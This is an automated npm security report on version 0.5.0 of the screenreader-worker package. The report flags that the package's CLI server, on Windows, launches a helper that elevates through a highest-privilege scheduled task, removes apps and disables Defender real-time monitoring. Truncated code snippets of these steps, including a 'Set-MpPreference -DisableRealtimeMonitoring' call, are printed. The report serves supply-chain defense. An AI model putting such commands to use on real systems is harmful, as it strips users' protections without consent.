--- canonical: "https://firewall.lpm.dev/npm/@a11ign/screenreader-worker/v/0.5.0" markdown: "https://firewall.lpm.dev/npm/@a11ign/screenreader-worker/v/0.5.0.md" package: "@a11ign/screenreader-worker" report_status: "published" title: "@a11ign/screenreader-worker@0.5.0 npm security report" verdict: "suspicious" version: "0.5.0" --- # @a11ign/screenreader-worker@0.5.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Flagged — allowed with a warning** — Allowed by default policy, but 12 finding(s) warrant review before installing. - **Verdict:** Suspicious - **Product-default install policy:** Warn - **Firewall policy:** Matched warn-list - **Public report status:** Published - **Threat category:** Destructive Action - **Selected version:** 0.5.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: suspicious; recommendation: downgrade to warn. This assessment is supporting evidence; the published decision above determines the current policy. The Windows helper performs consequential system changes and is started automatically when the CLI server runs. This supports a warning for dangerous destructive capability, but the inspected source does not establish a concrete malicious attack chain. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Suspicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-10-08T17:04:02.555Z - **Finished:** 2026-10-08T17:04:30.024Z - **Download time:** 1290 ms - **Static scan time:** 866 ms - **AI review time:** 25313 ms - **Total time:** 27469 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The CLI server automatically starts a Windows trim helper at boot. The helper can remove provisioned apps and disable Defender monitoring, including through a highest-privilege scheduled task. - **Trigger:** Run the CLI server on Windows without the skip variable or an existing trim marker. - **Impact:** Windows applications and protections may be removed or disabled. - **Evidence paths:** dist/server.mjs, dist/windows-trim.mjs - **Review source:** ai\_review - **Reviewed:** 2026-10-08T17:04:30.024Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The server starts a detached helper; the helper attempts elevation, removes selected provisioned apps, disables listed services, and tries to turn off real-time Defender monitoring. - **Rationale:** The Windows helper performs consequential system changes and is started automatically when the CLI server runs. This supports a warning for dangerous destructive capability, but the inspected source does not establish a concrete malicious attack chain. - **Files touched:** package.json, dist/server.mjs, dist/windows-trim.mjs ### Review decision - **Verdict:** Suspicious - **Confidence:** 91.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Medium - **Evidence for warning:** The published CLI entrypoint is \`dist/server.mjs\`., On Windows, server startup launches a detached trim helper unless \`A11Y\_SKIP\_TRIM=1\` or a marker is present., The helper can register and start a highest-privilege scheduled task to run the trim., The trim removes selected provisioned Windows apps and attempts to disable real-time Defender monitoring. - **Evidence against:** The manifest has no install lifecycle scripts; the behavior is activated when the CLI server runs., The trim is Windows-only and has an environment-variable opt-out. ## Affected versions and remediation This report applies to @a11ign/screenreader-worker@0.5.0. - Review the evidence and your use of @a11ign/screenreader-worker@0.5.0 before allowing it. Restrict the permissions described in this report. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** dist/windows-trim.mjs - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: import { execFileSync } from "node:child_process"; L2: import { readFileSync, writeFileSync } from "node:fs"; ``` ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. High: Cross File Remote Execution Context - **Category:** Source - **Confidence:** 72.0% - **Path:** dist/server.mjs - **Public source:** [View source]() Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking. Public source snippet (untrusted): ```javascript Cross-file remote execution chain: dist/server.mjs spawns dist/src_capture-core_mjs.mjs; helper contains network access plus dynamic code execution. L1: import { createServer } from "node:http"; L2: import { appendFileSync, existsSync, openSync, readFileSync, readdirSync, renameSync, statSync, statfsSync, writeFileSync } from "node:fs"; L3: import { execFile, execFileSync, spawn } from "node:child_process"; L4: import { promisify } from "node:util"; ... L7: import { join, resolve as external_node_path_resolve } from "node:path"; L8: import { inflateRawSync } from "node:zlib"; L9: import { rm } from "node:fs/promises"; ... L22: function powershellValue(script) { L23: if ("win32" !== process.platform) return "unknown"; L24: try { ... L47: try { L48: const { stdout } = await execFileAsync("po ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Copyleft License - **Category:** Manifest - **Confidence:** 80.0% Package manifest declares a copyleft-style license. ### 9. Medium: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The published CLI entrypoint is \`dist/server.mjs\`. Public source snippet (untrusted): ```json "bin": { "a11ign-nvda-worker": "./dist/server.mjs" }, "files": [ "dist", " ``` ### 10. Medium: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** dist/server.mjs - **Public source:** [View source]() On Windows, server startup launches a detached trim helper unless \`A11Y\_SKIP\_TRIM=1\` or a marker is present. Public source snippet (untrusted): ```javascript function trimWindowsAtBoot() { if ("win32" !== process.platform || "1" === process.env.A11Y_SKIP_TRIM) return; if (trimAlreadyDone(TRIM_MARKER)) return; try { const ``` ### 11. Medium: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** dist/windows-trim.mjs - **Public source:** [View source]() The helper can register and start a highest-privilege scheduled task to run the trim. Public source snippet (untrusted): ```javascript function runTrimViaElevatedTask({ scriptPath, markerPath, taskName = "a11ytrim" }) { const user = "$([Security.Principal.WindowsIdentity]::GetCurrent().Name)"; const register = `$a = New-ScheduledTaskAction -Execute '${pro ``` ### 12. Medium: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** dist/windows-trim.mjs - **Public source:** [View source]() The trim removes selected provisioned Windows apps and attempts to disable real-time Defender monitoring. Public source snippet (untrusted): ```javascript function tryDisableDefender() { if ("win32" !== process.platform) return { disabled: false, reason: "not windows" }; try { powershell("Set-MpPreference -DisableRealtimeMonitoring $true ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 13 - **Published dependency-graph edges:** 1 ### Published dependency entries - @guidepup/guidepup 0.31.0 (Dependency) ## Package metadata - **Package:** @a11ign/screenreader-worker - **Ecosystem:** npm - **Version:** 0.5.0 - **License:** AGPL-3.0-or-later - **Version published:** 2026-10-08T17:03:02.396Z - **Package first seen:** 2026-10-04T22:13:21.651Z - **Package last seen:** 2026-10-18T16:13:33.671Z - **Known versions:** 27 - **Latest version:** 0.13.13 - **Appeal under review:** No - **Description:** Drives a real NVDA screen reader through real navigation on Windows and returns what it announced. The HTTP contract is the API. - **Maintainers:** a11ign-user - **Keywords:** accessibility, a11y, wcag, screen-reader, nvda, windows, capture - **Runtime engines:** node: \>=20 - **Artifact files:** 50 - **Artifact unpacked size:** 655,424 bytes - **Artifact signatures:** 2 - **Attestations:** Yes - **Provenance:** https://slsa.dev/provenance/v1 ## References - [HTML security report]() - [Repository]() - [Issues]()